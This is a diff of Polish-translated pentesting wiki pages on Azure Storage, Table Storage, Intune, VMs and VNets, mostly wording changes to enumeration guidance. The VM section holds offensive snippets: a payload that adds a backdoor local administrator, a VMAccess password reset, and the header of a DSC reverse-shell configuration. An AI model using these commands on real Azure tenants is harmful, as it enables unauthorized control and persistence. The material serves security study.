<table data-header-hidden><thead><tr><th width="197">Usługa magazynowa</th><th>Punkt końcowy</th></tr></thead><tbody><tr><td><strong>Magazyn blobów</strong></td><td><code>https://<storage-account>.blob.core.windows.net</code><br><br><code>https://<stg-acc>.blob.core.windows.net/<container-name>?restype=container&comp=list</code></td></tr><tr><td><strong>Magazyn Data Lake</strong></td><td><code>https://<storage-account>.dfs.core.windows.net</code></td></tr><tr><td><strong>Azure Files</strong></td><td><code>https://<storage-account>.file.core.windows.net</code></td></tr><tr><td><strong>Magazyn kolejek</strong></td><td><code>https://<storage-account>.queue.core.windows.net</code></td></tr><tr><td><strong>Magazyn tabel</strong></td><td><code>https://<storage-account>.table.core.windows.net</code></td></tr></tbody></table>
|
||||
|
||||
### Ekspozycja publiczna
|
||||
|
||||
@@ -67,7 +67,7 @@ Jeśli "Zezwalaj na publiczny dostęp do blobów" jest **włączone** (domyślni
|
||||
|
||||
### Połączenie z magazynem
|
||||
|
||||
Jeśli znajdziesz jakikolwiek **magazyn**, do którego możesz się połączyć, możesz użyć narzędzia [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/), aby to zrobić.
|
||||
Jeśli znajdziesz jakikolwiek **magazyn**, do którego możesz się połączyć, możesz użyć narzędzia [**Microsoft Azure Storage Explorer**](https://azure.microsoft.com/es-es/products/storage/storage-explorer/) do tego.
|
||||
|
||||
## Dostęp do magazynu <a href="#about-blob-storage" id="about-blob-storage"></a>
|
||||
|
||||
@@ -77,7 +77,7 @@ Możliwe jest użycie zasad Entra ID z **rolami RBAC** do uzyskania dostępu do
|
||||
|
||||
### Klucze dostępu
|
||||
|
||||
Konta magazynowe mają klucze dostępu, które można wykorzystać do uzyskania dostępu. To zapewnia **pełny dostęp do konta magazynowego.**
|
||||
Konta magazynowe mają klucze dostępu, które można wykorzystać do uzyskania dostępu. Zapewnia to **pełny dostęp do konta magazynowego.**
|
||||
|
||||
<figure><img src="../../../images/image (5).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
@@ -86,12 +86,12 @@ Konta magazynowe mają klucze dostępu, które można wykorzystać do uzyskania
|
||||
Możliwe jest [**generowanie kluczy współdzielonych**](https://learn.microsoft.com/en-us/rest/api/storageservices/authorize-with-shared-key) podpisanych kluczami dostępu, aby autoryzować dostęp do określonych zasobów za pomocą podpisanego URL.
|
||||
|
||||
> [!NOTE]
|
||||
> Zauważ, że część `CanonicalizedResource` reprezentuje zasób usługi magazynowej (URI). A jeśli jakakolwiek część w URL jest zakodowana, powinna być również zakodowana wewnątrz `CanonicalizedResource`.
|
||||
> Zauważ, że część `CanonicalizedResource` reprezentuje zasób usług magazynowych (URI). A jeśli jakakolwiek część w URL jest zakodowana, powinna być również zakodowana wewnątrz `CanonicalizedResource`.
|
||||
|
||||
> [!NOTE]
|
||||
> To jest **używane domyślnie przez `az` cli** do uwierzytelniania żądań. Aby użyć poświadczeń głównych Entra ID, wskaż parametr `--auth-mode login`.
|
||||
|
||||
- Możliwe jest wygenerowanie **klucza współdzielonego dla usług blob, kolejek i plików**, podpisując następujące informacje:
|
||||
- Możliwe jest wygenerowanie **klucza współdzielonego dla usług blobów, kolejek i plików**, podpisując następujące informacje:
|
||||
```bash
|
||||
StringToSign = VERB + "\n" +
|
||||
Content-Encoding + "\n" +
|
||||
@@ -125,7 +125,7 @@ Date + "\n" +
|
||||
CanonicalizedHeaders +
|
||||
CanonicalizedResource;
|
||||
```
|
||||
- Możliwe jest wygenerowanie **lite shared key dla usług tabel** podpisując następujące informacje:
|
||||
- Możliwe jest wygenerowanie **lite shared key dla usług tabelowych** podpisując następujące informacje:
|
||||
```bash
|
||||
StringToSign = Date + "\n"
|
||||
CanonicalizedResource
|
||||
@@ -144,7 +144,7 @@ Content-Length: 0
|
||||
```
|
||||
### **Shared Access Signature** (SAS)
|
||||
|
||||
Shared Access Signatures (SAS) to bezpieczne, czasowo ograniczone adresy URL, które **przyznają określone uprawnienia do dostępu do zasobów** w koncie Azure Storage bez ujawniania kluczy dostępu do konta. Podczas gdy klucze dostępu zapewniają pełny dostęp administracyjny do wszystkich zasobów, SAS pozwala na szczegółową kontrolę poprzez określenie uprawnień (takich jak odczyt lub zapis) i zdefiniowanie czasu wygaśnięcia.
|
||||
Shared Access Signatures (SAS) to bezpieczne, ograniczone czasowo adresy URL, które **przyznają określone uprawnienia do dostępu do zasobów** w koncie Azure Storage bez ujawniania kluczy dostępu do konta. Podczas gdy klucze dostępu zapewniają pełny dostęp administracyjny do wszystkich zasobów, SAS pozwala na szczegółową kontrolę poprzez określenie uprawnień (takich jak odczyt lub zapis) i zdefiniowanie czasu wygaśnięcia.
|
||||
|
||||
#### Typy SAS
|
||||
|
||||
@@ -175,14 +175,14 @@ Podczas generowania SAS należy wskazać uprawnienia, które powinny być przyzn
|
||||
|
||||
## SFTP Support for Azure Blob Storage
|
||||
|
||||
Azure Blob Storage teraz obsługuje protokół SSH File Transfer Protocol (SFTP), umożliwiając bezpieczny transfer i zarządzanie plikami bezpośrednio do Blob Storage bez potrzeby stosowania niestandardowych rozwiązań lub produktów firm trzecich.
|
||||
Azure Blob Storage teraz obsługuje protokół SSH File Transfer Protocol (SFTP), umożliwiając bezpieczny transfer i zarządzanie plikami bezpośrednio do Blob Storage bez potrzeby stosowania rozwiązań niestandardowych lub produktów firm trzecich.
|
||||
|
||||
### Kluczowe funkcje
|
||||
|
||||
- Wsparcie protokołu: SFTP działa z kontami Blob Storage skonfigurowanymi z hierarchiczną przestrzenią nazw (HNS). To organizuje bloby w katalogi i podkatalogi dla łatwiejszej nawigacji.
|
||||
- Bezpieczeństwo: SFTP używa lokalnych tożsamości użytkowników do uwierzytelniania i nie integruje się z RBAC ani ABAC. Każdy lokalny użytkownik może uwierzytelnić się za pomocą:
|
||||
- Haseł generowanych przez Azure
|
||||
- Par kluczy SSH publicznych i prywatnych
|
||||
- Par kluczy SSH publicznych-prywatnych
|
||||
- Szczegółowe uprawnienia: Uprawnienia takie jak Odczyt, Zapis, Usunięcie i Lista mogą być przypisane lokalnym użytkownikom do maksymalnie 100 kontenerów.
|
||||
- Rozważania dotyczące sieci: Połączenia SFTP są realizowane przez port 22. Azure wspiera konfiguracje sieciowe, takie jak zapory, prywatne punkty końcowe lub sieci wirtualne, aby zabezpieczyć ruch SFTP.
|
||||
|
||||
@@ -193,21 +193,21 @@ Azure Blob Storage teraz obsługuje protokół SSH File Transfer Protocol (SFTP)
|
||||
- Konfiguracja SFTP:
|
||||
- Włącz SFTP na koncie storage.
|
||||
- Utwórz lokalne tożsamości użytkowników z odpowiednimi uprawnieniami.
|
||||
- Skonfiguruj katalogi domowe dla użytkowników, aby zdefiniować ich początkową lokalizację w obrębie kontenera.
|
||||
- Skonfiguruj katalogi domowe dla użytkowników, aby zdefiniować ich miejsce startowe w kontenerze.
|
||||
|
||||
### Uprawnienia
|
||||
|
||||
| Uprawnienie | Symbol | Opis |
|
||||
| --------------------- | ------ | -------------------------------------- |
|
||||
| **Odczyt** | `r` | Odczyt zawartości pliku. |
|
||||
| Uprawnienie | Symbol | Opis |
|
||||
| --------------------- | ------ | ------------------------------------- |
|
||||
| **Odczyt** | `r` | Odczyt zawartości pliku. |
|
||||
| **Zapis** | `w` | Przesyłanie plików i tworzenie katalogów. |
|
||||
| **Lista** | `l` | Lista zawartości katalogów. |
|
||||
| **Usunięcie** | `d` | Usunięcie plików lub katalogów. |
|
||||
| **Utworzenie** | `c` | Tworzenie plików lub katalogów. |
|
||||
| **Lista** | `l` | Lista zawartości katalogów. |
|
||||
| **Usunięcie** | `d` | Usunięcie plików lub katalogów. |
|
||||
| **Utworzenie** | `c` | Tworzenie plików lub katalogów. |
|
||||
| **Zmiana właściciela**| `o` | Zmiana użytkownika lub grupy właściciela. |
|
||||
| **Zmiana uprawnień** | `p` | Zmiana ACL na plikach lub katalogach. |
|
||||
|
||||
## Enumeracja
|
||||
## Enumeration
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -330,7 +330,7 @@ az storage account local-user list \
|
||||
{{#endtab }}
|
||||
|
||||
{{#tab name="Az PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount | fl
|
||||
# Get rules to access the storage account
|
||||
|
||||
@@ -4,7 +4,7 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
**Azure Table Storage** to magazyn NoSQL typu klucz-wartość zaprojektowany do przechowywania dużych wolumenów strukturalnych, nieliniowych danych. Oferuje wysoką dostępność, niskie opóźnienia i skalowalność, aby efektywnie obsługiwać duże zbiory danych. Dane są zorganizowane w tabelach, a każda encja jest identyfikowana przez klucz partycji i klucz wiersza, co umożliwia szybkie wyszukiwanie. Obsługuje funkcje takie jak szyfrowanie w spoczynku, kontrola dostępu oparta na rolach oraz podpisy dostępu współdzielonego dla bezpiecznego, zarządzanego przechowywania odpowiedniego dla szerokiego zakresu aplikacji.
|
||||
**Azure Table Storage** to magazyn NoSQL typu klucz-wartość zaprojektowany do przechowywania dużych wolumenów danych strukturalnych, nienaśladowczych. Oferuje wysoką dostępność, niskie opóźnienia i skalowalność, aby efektywnie obsługiwać duże zbiory danych. Dane są zorganizowane w tabelach, a każda encja jest identyfikowana przez klucz partycji i klucz wiersza, co umożliwia szybkie wyszukiwanie. Obsługuje funkcje takie jak szyfrowanie w spoczynku, kontrola dostępu oparta na rolach oraz podpisy dostępu współdzielonego dla bezpiecznego, zarządzanego przechowywania odpowiedniego dla szerokiego zakresu aplikacji.
|
||||
|
||||
**Nie ma wbudowanego mechanizmu kopii zapasowej** dla magazynu tabel.
|
||||
|
||||
@@ -18,11 +18,11 @@
|
||||
#### **RowKey**
|
||||
|
||||
- **RowKey jest unikalnym identyfikatorem** dla encji w obrębie partycji. W połączeniu z PartitionKey zapewnia, że każda encja w tabeli ma globalnie unikalny identyfikator.
|
||||
- Przykład: Dla partycji `"HR"` `RowKey` może być identyfikatorem pracownika, np. `"12345"`.
|
||||
- Przykład: Dla partycji `"HR"`, `RowKey` może być identyfikatorem pracownika, np. `"12345"`.
|
||||
|
||||
#### **Inne właściwości (Właściwości niestandardowe)**
|
||||
|
||||
- Oprócz PartitionKey i RowKey, encja może mieć dodatkowe **właściwości niestandardowe do przechowywania danych**. Są one definiowane przez użytkownika i działają jak kolumny w tradycyjnej bazie danych.
|
||||
- Oprócz PartitionKey i RowKey, encja może mieć dodatkowe **właściwości niestandardowe do przechowywania danych**. Są to właściwości zdefiniowane przez użytkownika i działają jak kolumny w tradycyjnej bazie danych.
|
||||
- Właściwości są przechowywane jako **pary klucz-wartość**.
|
||||
- Przykład: `Name`, `Age`, `Title` mogą być właściwościami niestandardowymi dla pracownika.
|
||||
|
||||
@@ -63,7 +63,7 @@ az storage entity merge \
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# Get storage accounts
|
||||
Get-AzStorageAccount
|
||||
|
||||
@@ -74,7 +74,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
{{#endtabs}}
|
||||
|
||||
> [!NOTE]
|
||||
> Domyślnie `az` cli użyje klucza konta do podpisania klucza i wykonania akcji. Aby użyć uprawnień głównych Entra ID, użyj parametrów `--auth-mode login`.
|
||||
> Domyślnie `az` cli użyje klucza konta do podpisania klucza i wykonania akcji. Aby użyć uprawnień głównego identyfikatora Entra ID, użyj parametrów `--auth-mode login`.
|
||||
|
||||
> [!TIP]
|
||||
> Użyj parametru `--account-key`, aby wskazać klucz konta do użycia\
|
||||
@@ -82,7 +82,7 @@ Get-AzStorageTable -Context (Get-AzStorageAccount -Name <mystorageaccount> -Reso
|
||||
|
||||
## Privilege Escalation
|
||||
|
||||
Tak samo jak storage privesc:
|
||||
Tak samo jak privesc przechowywania:
|
||||
|
||||
{{#ref}}
|
||||
../az-privilege-escalation/az-storage-privesc.md
|
||||
@@ -96,7 +96,7 @@ Tak samo jak storage privesc:
|
||||
|
||||
## Persistence
|
||||
|
||||
Tak samo jak storage persistence:
|
||||
Tak samo jak trwałość przechowywania:
|
||||
|
||||
{{#ref}}
|
||||
../az-persistence/az-storage-persistence.md
|
||||
|
||||
@@ -4,13 +4,13 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Microsoft Intune jest zaprojektowany w celu uproszczenia procesu **zarządzania aplikacjami i urządzeniami**. Jego możliwości obejmują różnorodne urządzenia, w tym urządzenia mobilne, komputery stacjonarne i wirtualne punkty końcowe. Podstawowa funkcjonalność Intune koncentruje się na **zarządzaniu dostępem użytkowników i uproszczeniu administracji aplikacjami** i urządzeniami w sieci organizacji.
|
||||
Microsoft Intune jest zaprojektowany w celu uproszczenia procesu **zarządzania aplikacjami i urządzeniami**. Jego możliwości obejmują różnorodne urządzenia, w tym urządzenia mobilne, komputery stacjonarne i wirtualne punkty końcowe. Podstawowa funkcjonalność Intune koncentruje się na **zarządzaniu dostępem użytkowników i uproszczeniu administracji aplikacjami** oraz urządzeniami w sieci organizacji.
|
||||
|
||||
## Chmura -> On-Prem
|
||||
|
||||
Użytkownik z rolą **Global Administrator** lub **Intune Administrator** może wykonywać **skrypty PowerShell** na każdym **zarejestrowanym urządzeniu z systemem Windows**.\
|
||||
Użytkownik z rolą **Global Administrator** lub **Intune Administrator** może wykonywać **skrypty PowerShell** na każdym **zarejestrowanym urządzeniu Windows**.\
|
||||
**Skrypt** działa z **uprawnieniami** **SYSTEM** na urządzeniu tylko raz, jeśli się nie zmienia, a z Intune **nie ma możliwości zobaczenia wyniku** skryptu.
|
||||
```powershell
|
||||
```bash
|
||||
Get-AzureADGroup -Filter "DisplayName eq 'Intune Administrators'"
|
||||
```
|
||||
1. Zaloguj się do [https://endpoint.microsoft.com/#home](https://endpoint.microsoft.com/#home) lub użyj Pass-The-PRT
|
||||
|
||||
@@ -12,7 +12,7 @@ az-azure-network.md
|
||||
|
||||
## Podstawowe informacje o VM
|
||||
|
||||
Maszyny Wirtualne (VM) Azure to elastyczne, na żądanie **serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux**. Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
|
||||
Maszyny Wirtualne (VM) w Azure to elastyczne, na żądanie **serwery w chmurze, które pozwalają na uruchamianie systemów operacyjnych Windows lub Linux**. Umożliwiają wdrażanie aplikacji i obciążeń bez zarządzania fizycznym sprzętem. Maszyny Wirtualne Azure mogą być konfigurowane z różnymi opcjami CPU, pamięci i przechowywania, aby spełniać konkretne potrzeby i integrować się z usługami Azure, takimi jak wirtualne sieci, przechowywanie i narzędzia zabezpieczeń.
|
||||
|
||||
### Konfiguracje zabezpieczeń
|
||||
|
||||
@@ -64,7 +64,7 @@ az disk show --name <disk-name> --resource-group <rsc-group>
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# List all disks
|
||||
Get-AzDisk
|
||||
|
||||
@@ -79,7 +79,7 @@ Get-AzDisk -Name <DiskName> -ResourceGroupName <ResourceGroupName>
|
||||
Obraz **VM** to szablon, który zawiera system operacyjny, ustawienia aplikacji i system plików potrzebne do **utworzenia nowej maszyny wirtualnej (VM)**. Różnica między obrazem a migawką dysku polega na tym, że migawka dysku to kopia tylko do odczytu, w określonym czasie, pojedynczego zarządzanego dysku, używana głównie do tworzenia kopii zapasowych lub rozwiązywania problemów, podczas gdy obraz może zawierać **wiele dysków i jest zaprojektowany jako szablon do tworzenia nowych VM**.\
|
||||
Obrazy można zarządzać w sekcji **Obrazy** w Azure lub w **galeriach obliczeniowych Azure**, co pozwala na generowanie **wersji** i **udostępnianie** obrazu między tenantami, a nawet uczynienie go publicznym.
|
||||
|
||||
Punkt **przywracania** przechowuje konfigurację VM oraz **migawki** aplikacji w punkcie czasowym, które są spójne z czasem, **wszystkich zarządzanych dysków** podłączonych do VM. Jest związany z VM, a jego celem jest umożliwienie przywrócenia tej VM do stanu, w jakim była w danym punkcie czasowym.
|
||||
Punkt **przywracania** przechowuje konfigurację VM oraz **migawki** aplikacji w określonym czasie, które są spójne z wszystkimi zarządzanymi dyskami** podłączonymi do VM. Jest związany z VM, a jego celem jest możliwość przywrócenia tej VM do stanu, w jakim była w danym momencie.
|
||||
|
||||
{{#tabs}}
|
||||
{{#tab name="az cli"}}
|
||||
@@ -116,7 +116,7 @@ az restore-point collection show --collection-name <collection-name> --resource-
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
## List all galleries and get info about one
|
||||
Get-AzGallery
|
||||
Get-AzGallery -Name <GalleryName> -ResourceGroupName <ResourceGroupName>
|
||||
@@ -144,7 +144,7 @@ Get-AzRestorePointCollection -Name <CollectionName> -ResourceGroupName <Resource
|
||||
|
||||
## Azure Site Recovery
|
||||
|
||||
Z dokumentów: Site Recovery pomaga zapewnić ciągłość działania firmy, utrzymując aplikacje biznesowe i obciążenia w działaniu podczas awarii. Site Recovery **replikuje obciążenia** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w Twojej głównej lokalizacji, przełączasz się do lokalizacji zapasowej i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu głównej lokalizacji możesz wrócić do niej.
|
||||
Z dokumentów: Site Recovery pomaga zapewnić ciągłość działania firmy, utrzymując aplikacje biznesowe i obciążenia w działaniu podczas awarii. Site Recovery **replikuje obciążenia** działające na fizycznych i wirtualnych maszynach (VM) z głównej lokalizacji do lokalizacji zapasowej. Gdy wystąpi awaria w Twojej głównej lokalizacji, przełączasz się na lokalizację zapasową i uzyskujesz dostęp do aplikacji stamtąd. Po przywróceniu działania głównej lokalizacji możesz wrócić do niej.
|
||||
|
||||
## Azure Bastion
|
||||
|
||||
@@ -180,7 +180,7 @@ az network bastion rdp \
|
||||
```
|
||||
{{#endtab}}
|
||||
{{#tab name="PowerShell"}}
|
||||
```powershell
|
||||
```bash
|
||||
# List bastions
|
||||
Get-AzBastion
|
||||
```
|
||||
@@ -193,7 +193,7 @@ Usługa metadanych instancji Azure (IMDS) **zapewnia informacje o działających
|
||||
|
||||
Ponadto, aby skontaktować się z punktem końcowym metadanych, żądanie HTTP musi mieć nagłówek **`Metadata: true`** i nie może mieć nagłówka **`X-Forwarded-For`**.
|
||||
|
||||
Sprawdź, jak to zenumerować w:
|
||||
Sprawdź, jak to enumerować w:
|
||||
|
||||
{{#ref}}
|
||||
https://book.hacktricks.wiki/en/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.html#azure-vm
|
||||
@@ -336,7 +336,7 @@ az resource list --resource-type "Microsoft.Compute/virtualMachines" --query "[]
|
||||
az vm run-command list --output table
|
||||
```
|
||||
|
||||
```powershell
|
||||
```bash
|
||||
# Get readable VMs
|
||||
Get-AzVM | fl
|
||||
# Lis running VMs
|
||||
@@ -450,7 +450,7 @@ az vm extension image list --publisher "Site24x7" --output table
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# It takes some mins to run
|
||||
Get-AzVMExtensionImage -Location <Location> -PublisherName <PublisherName> -Type <Type>
|
||||
```
|
||||
@@ -523,7 +523,7 @@ az vm extension set \
|
||||
Możesz również wykonać inne ładunki, takie jak: `powershell net users new_user Welcome2022. /add /Y; net localgroup administrators new_user /add`
|
||||
|
||||
- Zresetuj hasło za pomocą rozszerzenia VMAccess
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -540,7 +540,7 @@ Wymagana zgoda to **`Microsoft.Compute/virtualMachines/extensions/write`**.
|
||||
<summary>Rozszerzenie VMAccess</summary>
|
||||
|
||||
To rozszerzenie umożliwia modyfikację hasła (lub utworzenie, jeśli nie istnieje) użytkowników wewnątrz maszyn wirtualnych Windows.
|
||||
```powershell
|
||||
```bash
|
||||
# Run VMAccess extension to reset the password
|
||||
$cred=Get-Credential # Username and password to reset (if it doesn't exist it'll be created). "Administrator" username is allowed to change the password
|
||||
Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Name "myVMAccess" -Credential $cred
|
||||
@@ -552,7 +552,7 @@ Set-AzVMAccessExtension -ResourceGroupName "<rsc-group>" -VMName "<vm-name>" -Na
|
||||
<summary>DesiredStateConfiguration (DSC)</summary>
|
||||
|
||||
To jest **rozszerzenie VM**, które należy do Microsoft i wykorzystuje PowerShell DSC do zarządzania konfiguracją maszyn wirtualnych Windows w Azure. Dlatego może być używane do **wykonywania dowolnych poleceń** w maszynach wirtualnych Windows za pomocą tego rozszerzenia:
|
||||
```powershell
|
||||
```bash
|
||||
# Content of revShell.ps1
|
||||
Configuration RevShellConfig {
|
||||
Node localhost {
|
||||
@@ -603,7 +603,7 @@ Set-AzVMDscExtension `
|
||||
|
||||
<summary>Hybrid Runbook Worker</summary>
|
||||
|
||||
To jest rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-automation-account/index.html).
|
||||
Jest to rozszerzenie VM, które umożliwia wykonywanie runbooków w VM z konta automatyzacji. Aby uzyskać więcej informacji, sprawdź usługę [Automation Accounts](../az-automation-account/index.html).
|
||||
|
||||
</details>
|
||||
|
||||
@@ -625,7 +625,7 @@ To są ścieżki, w których aplikacje są pobierane w systemie plików:
|
||||
Sprawdź, jak zainstalować nowe aplikacje w [https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli](https://learn.microsoft.com/en-us/azure/virtual-machines/vm-applications-how-to?tabs=cli)
|
||||
|
||||
> [!CAUTION]
|
||||
> Możliwe jest **udostępnienie poszczególnych aplikacji i galerii innym subskrypcjom lub najemcom**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
|
||||
> Możliwe jest **dzielenie się poszczególnymi aplikacjami i galeriami z innymi subskrypcjami lub najemcami**. Co jest bardzo interesujące, ponieważ może to pozwolić atakującemu na wprowadzenie backdoora do aplikacji i przejście do innych subskrypcji i najemców.
|
||||
|
||||
Jednak **nie ma "rynku" dla aplikacji vm**, jak to ma miejsce w przypadku rozszerzeń.
|
||||
|
||||
@@ -730,7 +730,7 @@ Możliwe jest przekazanie pewnych danych do VM, które będą przechowywane w oc
|
||||
- W **Windows** dane niestandardowe są umieszczane w `%SYSTEMDRIVE%\AzureData\CustomData.bin` jako plik binarny i nie są przetwarzane.
|
||||
- W **Linux** były przechowywane w `/var/lib/waagent/ovf-env.xml`, a teraz są przechowywane w `/var/lib/waagent/CustomData/ovf-env.xml`
|
||||
- **Agent Linux**: Domyślnie nie przetwarza danych niestandardowych, potrzebny jest niestandardowy obraz z włączonymi danymi
|
||||
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając po prostu skrypt w danych niestandardowych.
|
||||
- **cloud-init:** Domyślnie przetwarza dane niestandardowe, a te dane mogą być w [**kilku formatach**](https://cloudinit.readthedocs.io/en/latest/explanation/format.html). Może łatwo wykonać skrypt, wysyłając tylko skrypt w danych niestandardowych.
|
||||
- Próbowałem, aby zarówno Ubuntu, jak i Debian wykonały skrypt, który tutaj umieścisz.
|
||||
- Nie ma również potrzeby włączania danych użytkownika, aby to mogło być wykonane.
|
||||
```bash
|
||||
|
||||
@@ -4,12 +4,12 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
Azure zapewnia **wirtualne sieci (VNet)**, które pozwalają użytkownikom tworzyć **izolowane** **sieci** w chmurze Azure. W ramach tych VNet można bezpiecznie hostować i zarządzać zasobami takimi jak maszyny wirtualne, aplikacje, bazy danych... Sieci w Azure wspierają zarówno komunikację wewnątrz chmury (między usługami Azure), jak i połączenie z zewnętrznymi sieciami oraz internetem.\
|
||||
Co więcej, możliwe jest **połączenie** VNet z innymi VNet oraz z sieciami lokalnymi.
|
||||
Azure zapewnia **wirtualne sieci (VNet)**, które pozwalają użytkownikom tworzyć **izolowane** **sieci** w chmurze Azure. W ramach tych VNets zasoby, takie jak maszyny wirtualne, aplikacje, bazy danych... mogą być bezpiecznie hostowane i zarządzane. Sieci w Azure wspierają zarówno komunikację w chmurze (między usługami Azure), jak i połączenie z zewnętrznymi sieciami oraz internetem.\
|
||||
Co więcej, możliwe jest **połączenie** VNets z innymi VNetami oraz z sieciami lokalnymi.
|
||||
|
||||
## Wirtualna sieć (VNET) i podsieci
|
||||
|
||||
Wirtualna sieć Azure (VNet) jest reprezentacją twojej własnej sieci w chmurze, zapewniającą **logiczne izolowanie** w środowisku Azure dedykowanym dla twojej subskrypcji. VNet pozwala na provisionowanie i zarządzanie wirtualnymi sieciami prywatnymi (VPN) w Azure, hostując zasoby takie jak maszyny wirtualne (VM), bazy danych i usługi aplikacyjne. Oferują **pełną kontrolę nad ustawieniami sieci**, w tym zakresami adresów IP, tworzeniem podsieci, tabelami routingu i bramami sieciowymi.
|
||||
Wirtualna sieć Azure (VNet) jest reprezentacją twojej własnej sieci w chmurze, zapewniając **logiczne izolowanie** w środowisku Azure dedykowanym dla twojej subskrypcji. VNety pozwalają na provisionowanie i zarządzanie wirtualnymi sieciami prywatnymi (VPN) w Azure, hostując zasoby takie jak maszyny wirtualne (VM), bazy danych i usługi aplikacyjne. Oferują **pełną kontrolę nad ustawieniami sieci**, w tym zakresami adresów IP, tworzeniem podsieci, tabelami routingu i bramami sieciowymi.
|
||||
|
||||
**Podsieci** to podziały w ramach VNet, definiowane przez konkretne **zakresy adresów IP**. Dzieląc VNet na wiele podsieci, możesz organizować i zabezpieczać zasoby zgodnie z architekturą swojej sieci.\
|
||||
Domyślnie wszystkie podsieci w tej samej Wirtualnej Sieci Azure (VNet) **mogą komunikować się ze sobą** bez żadnych ograniczeń.
|
||||
@@ -22,7 +22,7 @@ Domyślnie wszystkie podsieci w tej samej Wirtualnej Sieci Azure (VNet) **mogą
|
||||
|
||||
### Enumeracja
|
||||
|
||||
Aby wylistować wszystkie VNet i podsieci w koncie Azure, możesz użyć interfejsu wiersza poleceń Azure (CLI). Oto kroki:
|
||||
Aby wylistować wszystkie VNety i podsieci w koncie Azure, możesz użyć interfejsu wiersza poleceń Azure (CLI). Oto kroki:
|
||||
|
||||
{{#tabs }}
|
||||
{{#tab name="az cli" }}
|
||||
@@ -35,7 +35,7 @@ az network vnet subnet list --resource-group <ResourceGroupName> --vnet-name <VN
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List VNets
|
||||
Get-AzVirtualNetwork | Select-Object Name, Location, @{Name="AddressSpace"; Expression={$_.AddressSpace.AddressPrefixes}}
|
||||
|
||||
@@ -75,7 +75,7 @@ az network nsg show --name MyLowCostVM-nsg --resource-group Resource_Group_1 --q
|
||||
```
|
||||
{{#endtab }}
|
||||
{{#tab name="PowerShell" }}
|
||||
```powershell
|
||||
```bash
|
||||
# List NSGs
|
||||
Get-AzNetworkSecurityGroup | Select-Object Name, Location
|
||||
Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName>
|
||||
@@ -91,19 +91,19 @@ Get-AzNetworkSecurityGroup -Name <NSGName> -ResourceGroupName <ResourceGroupName
|
||||
|
||||
## Azure Firewall
|
||||
|
||||
Azure Firewall to **zarządzana usługa zabezpieczeń sieciowych** w Azure, która chroni zasoby chmurowe poprzez inspekcję i kontrolę ruchu. Jest to **stanowy zapora**, która filtruje ruch na podstawie reguł dla warstw 3 do 7, wspierając komunikację zarówno **w Azure** (ruch east-west), jak i **do/z sieci zewnętrznych** (ruch north-south). Wdrażana na poziomie **Wirtualnej Sieci (VNet)**, zapewnia scentralizowaną ochronę dla wszystkich podsieci w VNet. Azure Firewall automatycznie dostosowuje się do wymagań ruchu i zapewnia wysoką dostępność bez potrzeby ręcznej konfiguracji.
|
||||
Azure Firewall to **zarządzana usługa zabezpieczeń sieciowych** w Azure, która chroni zasoby chmurowe poprzez inspekcję i kontrolę ruchu. Jest to **stanowy firewall**, który filtruje ruch na podstawie reguł dla warstw 3 do 7, wspierając komunikację zarówno **w Azure** (ruch wschód-zachód), jak i **do/z sieci zewnętrznych** (ruch północ-południe). Wdrożony na poziomie **Wirtualnej Sieci (VNet)**, zapewnia scentralizowaną ochronę dla wszystkich podsieci w VNet. Azure Firewall automatycznie dostosowuje się do wymagań ruchu i zapewnia wysoką dostępność bez potrzeby ręcznej konfiguracji.
|
||||
|
||||
Jest dostępna w trzech SKU—**Podstawowy**, **Standardowy** i **Premium**, z których każdy jest dostosowany do specyficznych potrzeb klientów:
|
||||
Jest dostępny w trzech SKU—**Podstawowy**, **Standardowy** i **Premium**, z których każdy jest dostosowany do specyficznych potrzeb klientów:
|
||||
|
||||
